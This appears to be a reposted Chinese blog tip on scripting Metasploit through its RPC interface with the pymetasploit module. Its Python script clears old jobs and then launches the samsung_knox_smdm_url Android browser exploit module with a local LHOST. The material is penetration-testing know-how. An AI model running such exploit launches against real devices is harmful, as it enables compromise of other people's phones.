分享一個metasploit快速測試腳本的TIPS

相信用過metasploit的同學都很苦逼，msfconsole漫長的啟動時間，如果測試中敲錯命令，或不小心退出后又重啟任務，會讓你直接抓狂。之前不想重復敲命令，看了下metasploit的開發文檔，發現要自動化有各種方案，個人感覺最方便的是調用RPC接口，GITHUB上搜了把，發現有大拿封裝好了模塊，直接調用即可：

1.安裝pymetasploit模塊 </div>

from metasploit.msfrpc import MsfRpcClient
import time
client = MsfRpcClient('test')
jobs = client.call('job.list')
for num in jobs.keys():
    if jobs[num].find('samsung_knox_smdm_url')>0:
        client.call('job.stop',num)

console = client.call('console.list')
for _console in console['consoles']:
    if _console.has_key('prompt'):
        if _console['prompt'].find('samsung_knox_smdm_url')>0:
            client.call('console.destroy', _console['id'])
cmd='''
use exploit/android/browser/samsung_knox_smdm_url
set LHOST 127.0.0.1
exploit
'''
res = client.call('console.create')
console_id = res['id']
client.call('console.write', console_id, cmd) 
try:
    while True:
        res = client.call('console.read',console_id)
        if len(res['data']) > 1:
                print res['data'],
        if res['busy'] == True:
                time.sleep(1)
                continue
except:
    pass</pre> 

 來自：http://weibo.com/p/1001603795720149837992